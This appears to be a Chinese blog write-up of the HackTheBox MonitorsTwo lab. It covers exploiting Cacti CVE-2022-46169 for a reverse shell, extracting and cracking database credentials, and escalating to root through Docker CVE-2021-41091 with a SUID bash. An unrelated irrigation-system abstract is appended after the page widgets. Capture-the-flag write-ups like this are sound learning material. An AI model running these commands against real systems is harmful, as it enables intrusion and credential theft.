HackTheBox-Machines--MonitorsTwo

MonitorsTwo 测试过程


0x01 信息收集


   a.端口扫描: 发现22、80端口
   b.信息收集: 1.2.22 Cacti信息收集

nmap -sC -sV 10.129.186.132

在这里插入图片描述

  1.访问 10.129.186.132,为 1.2.22 Cacti 框架的登录页面

在这里插入图片描述

  2.搜索 1.2.22 Cacti 信息,发现在1.2.22版本存在RCE漏洞,编号: CVE-2022-46169

在这里插入图片描述

  CVE-2022-46169 exploit地址https://www.exploit-db.com/exploits/51166

0x02 CVE-2022-46169 漏洞利用


# 设置监听
ncat -lnvp 4444
python3 CVE-2022-46169-CACTI.py -u http://10.129.186.132/ --LHOST=10.10.14.150 --LPORT=4444

在这里插入图片描述

  获取到www-data权限

在这里插入图片描述

0x03 权限提升


  1.主机名为随机的十六进制,猜测可能为docker容器,查看根目录是否有docker配置文件发现.dockernv守护进程配置文件确认为docker容器

在这里插入图片描述

  2.查看 web 目录,检查include/config.php配置文件
在这里插入图片描述

在这里插入图片描述

  发现mysql数据库运行主机、默认数据库、用户名、密码

在这里插入图片描述

  3.数据库连接

mysql -h db -u root -proot cacti

在这里插入图片描述

show tables;

在这里插入图片描述

describe user_auth;

在这里插入图片描述

select username,password from user_auth;

在这里插入图片描述

  4.使用john工具破解hash密码

  获取到账号密码 marcus:funkymonkey
在这里插入图片描述

  5.ssh登录

ssh marcus@10.129.186.132 

在这里插入图片描述

0x04 提升到root权限


# 未发现可利用
sudo -l
find / -type f -perm -4000 2>/dev/null
uname -a 

在这里插入图片描述

  1.检查docker版本,发现 docker version 20.10.5+dfsg1

docker --version

在这里插入图片描述

  2.搜索docker version 20.10.5 版本相关信息,发现存在漏洞: CVE-2021-41091

在这里插入图片描述

  3.CVE-2021-41091漏洞利用

  找到相关漏洞利用资料https://exploit-notes.hdks.org/exploit/container/docker/moby-docker-engine-privesc/

1> 找到容器挂载目录:

findmnt

在这里插入图片描述

2> 发现两个容器正在运行: 确定哪一个50bca5e748b0容器

# 执行失败
ls /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged/var/www/html
# 执行成功,确定此为Cacti容器
ls /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/var/www/html

在这里插入图片描述

3> 在容器中准备SUID二进制文件

  设置suid二进制文件需要root权限,我们此时权限为www-data权限。

4> 将www-data 提升至 root权限

#检查二进制文件
find / -perm /4000 2>/dev/null

在这里插入图片描述

  利用capsh进行提权

capsh --gid=0 --uid=0 --

在这里插入图片描述

5> 重新设置suid二进制文件

chmod u+s /bin/bash

在这里插入图片描述

6> 在真实主机中执行 SUID 二进制文件

挂载目录/bin/bash -p
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p

在这里插入图片描述

  • 7
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
自动控制节水灌溉技术的高低代表着农业现代化的发展状况,灌溉系统自动化水平较低是制约我国高效农业发展的主要原因。本文就此问题研究了单片机控制的滴灌节水灌溉系统,该系统可对不同土壤的湿度进行监控,并按照作物对土壤湿度的要求进行适时、适量灌水,其核心是单片机和PC机构成的控制部分,主要对土壤湿度与灌水量之间的关系、灌溉控制技术及设备系统的硬件、软件编程各个部分进行了深入的研究。 单片机控制部分采用上下位机的形式。下位机硬件部分选用AT89C51单片机为核心,主要由土壤湿度传感器,信号处理电路,显示电路,输出控制电路,故障报警电路等组成,软件选用汇编语言编程。上位机选用586型以上PC机,通过MAX232芯片实现同下位机的电平转换功能,上下位机之间通过串行通信方式进行数据的双向传输,软件选用VB高级编程语言以建立友好的人机界面。系统主要具有以下功能:可在PC机提供的人机对话界面上设置作物要求的土壤湿度相关参数;单片机可将土壤湿度传感器检测到的土壤湿度模拟量转换成数字量,显示于LED显示器上,同时单片机可采用串行通信方式将此湿度值传输到PC机上;PC机通过其内设程序计算出所需的灌水量和灌水时间,且显示于界面上,并将有关的灌水信息反馈给单片机,若需灌水,则单片机系统启动鸣音报警,发出灌水信号,并经放大驱动设备,开启电磁阀进行倒计时定时灌水,若不需灌水,即PC机上显示的灌水量和灌水时间均为0,系统不进行灌水。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李沉肩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值